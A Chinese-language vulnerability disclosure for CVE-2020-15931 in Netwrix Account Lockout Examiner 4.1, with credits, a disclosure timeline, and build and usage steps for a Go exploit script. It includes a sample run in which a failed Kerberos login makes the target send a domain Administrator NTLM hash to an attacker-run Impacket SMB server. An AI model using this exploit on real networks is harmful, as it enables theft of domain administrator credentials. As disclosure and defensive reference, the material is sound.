CVE-2020-15931 Netwrix帐户锁定检查器4.1域管理员帐户凭据泄露漏洞

学分

该漏洞是由Optiv安全顾问Robert Surace(@robsauce)和Daniel Min(@ bigb0ss)在进行安全评估时在野外发现的。在识别出CVE-2020-15931之后,Optiv立即联系Netwrix,以负责任的方式披露识别出的缺陷。

漏洞披露时间表

  • 2020年6月9日– Optiv发现漏洞
  • 2020年6月15日– Optiv透露给供应商
  • 2020年7月14日–供应商承认此问题,并同意发布固定版本
  • 2020年7月23日–已向CNA(MITRE Corporation)公开
  • 2020年7月24日–供应商发布了Netwrix帐户锁定检查器5.1的固定版本
  • 2020年7月24日– CNA(MITRE Corporation)分配的CVE-2020-15931
  • 2020年8月13日–公开
  • 2020年10月30日-NVD(国家漏洞数据库)分配的基本得分7.5高

利用脚本

安装

该漏洞利用脚本是在golang中开发的。安装以下依赖项:

go get github.com/fatih/color
go get github.com/ropnop/gokrb5/client
go get github.com/ropnop/gokrb5/config

它还利用了Impacket的smbserver.py 。

pip install impacket

最后,下载漏洞利用脚本并进行构建。

git clone https://github.com/optiv/CVE-2020-15931
go build cve-2020-15931.go

用法

$  ./cve-2020-15931

     _______      ________    ___   ___ ___   ___        __ _____ ___ ____  __ 
    / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ | ____/ _ \___ \/_ |
   | |     \ \  / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
   | |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
   | |____   \  /  | |____    / /_| |_| / /_| |_| |      | |___) | / /___) || |
    \_____|   \/   |______|  |____|\___/____|\___/       |_|____/ /_/|____/ |_|
                                                         [robSauce & bigb0ss]  v1.0

   [+] Netwrix Account Lockout Examiner 4.1 Exploit Script

 
    Required:
    -d            Domain name
    -dc           Domain controller 
    -u            Valid username 
    
    Optional:
    -h            Print this help menu

    Example:
    ./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith

利用

(请注意:在撰写本文时,只能通过基于盲目的攻击来识别此攻击。这是因为很难确定目标组织是否正在其网络上使用Netwrix帐户锁定检查器来审核帐户身份验证。 )

$ ./cve-2020-15931 -d bosslab.com -dc 10.10.0.2 -u b0ss1

     _______      ________    ___   ___ ___   ___        __ _____ ___ ____  __ 
    / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ | ____/ _ \___ \/_ |
   | |     \ \  / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
   | |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
   | |____   \  /  | |____    / /_| |_| / /_| |_| |      | |___) | / /___) || |
    \_____|   \/   |______|  |____|\___/____|\___/       |_|____/ /_/|____/ |_|
                                                         [robSauce & bigb0ss]  v1.0

   [+] Netwrix Account Lockout Examiner 4.1 Exploit Script

[+] DC: 	10.10.0.2
[+] Domain: 	bosslab.com
[+] Username: 	b0ss1
[+] Password: 	wrongPass
[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!
[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.
[+] SMB Server Started...

Impacket v0.9.22.dev1+20200607.100119.b5c61678 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.0.2,59264)
[*] AUTHENTICATE_MESSAGE(BOSSLAB\Administrator,BOSSLAB-DC01)
[*] User BOSSLAB-DC01\Administrator authenticated successfully
[*] Administrator::BOSSLAB:17dcc32c6eafc48d:f798e7c906eb1b639722614f1417ded1:0101000000000000be18...REDACTED...0000000
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.0.2,59264)
[*] Remaining connections []